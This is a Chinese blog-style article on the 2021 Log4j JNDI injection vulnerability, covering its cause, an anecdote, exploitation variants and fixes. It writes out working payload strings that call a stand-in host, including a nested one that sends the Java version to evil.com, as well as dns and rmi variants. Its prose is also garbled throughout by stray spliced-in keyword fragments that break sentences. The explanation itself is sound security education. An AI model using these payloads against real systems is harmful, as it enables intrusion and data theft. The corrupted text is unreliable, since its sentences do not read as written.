log4j反序列化漏洞代码

log4j反序列化漏洞代码

Log4j的反序漏洞代码，说白了就一行：logger.info("${ jndi:ldap://evil.com/a}")。列化漏洞这行代码让全球数百万台服务器在2021年12月那个周末集体裸奔。代码Apache基金会连夜发补丁，反序安全圈的列化漏洞人熬红了眼，而攻击者早就在扫描互联网上所有能打通的代码Java服务。

问题出在Log4j 2.x版本里一个叫“查找替换”的反序功能。设计初衷挺美好——让日志能动态插入环境变量、列化漏洞应用配置。代码比如你想在日志里打印当前用户名，反序写个${ env:USER}就完事了。列化漏洞坏就坏在，代码这个功能支持JNDI查找。反序JNDI是列化漏洞什么？Java命名和目录接口，能让你通过一个字符串找到远程对象。代码攻击者把恶意字符串塞进日志——比如用户输入的用户名、请求头、表单字段——Log4j就会乖乖去连攻击者指定的LDAP服务器，下载恶意类并执行。

我见过最讽刺的一个案例：某公司安全团队自己写了个扫描脚本，想检测内网哪些机器存在漏洞。脚本逻辑是往目标系统发送包含恶意JNDI字符串的HTTP请求，然后监听自己的LDAP服务器有没有回连。结果扫描到一半，整个内网突然卡死。为什么？因为他们的运维监控系统也在用Log4j，而且日志级别是DEBUG——扫描脚本发出去的恶意字符串被监控系统原封不动记进了日志，监控系统自己也中招了。那场面，像极了消防队去灭火，结果消防车自燃了。

漏洞被公开后，安全社区迅速分析出利用链。攻击者不止能通过${ jndi:ldap://}打，还能用${ jndi:dns://}做探测，用${ jndi:rmi://}绕过某些过滤。更头疼的是，字符串可以无限嵌套，比如${ jndi:ldap://${ sys:java.version}.evil.com/a}，把系统信息带出去。这已经不是简单的命令执行，而是把日志系统变成了攻击者的侦察兵。

修复方案看着也简单——禁用JNDI查找，升级到2.17.0以上，或者至少把log4j2.formatMsgNoLookups设为true。但现实是，大量老系统用的是Log4j 1.x，或者嵌入式组件里捆绑了旧版本。有个朋友的公司，花了三周才排查完所有依赖——最后发现漏洞出现在一台没人记得的Windows Server 2008上，跑着十年前的报表程序，而那个程序打包的Log4j版本是2.14.1。

这事儿过去两年多了，但影响还在。Log4j的教训不是“不要用日志库”，而是任何“看起来方便”的功能都可能成为攻击面。开发者图省事，把用户输入直接拼进日志，却忘了日志系统本身也在解析字符串。现在每次看到代码里有人写logger.info("user: " + input)，我都想提醒一句——你确定input里没有藏着${ }吗？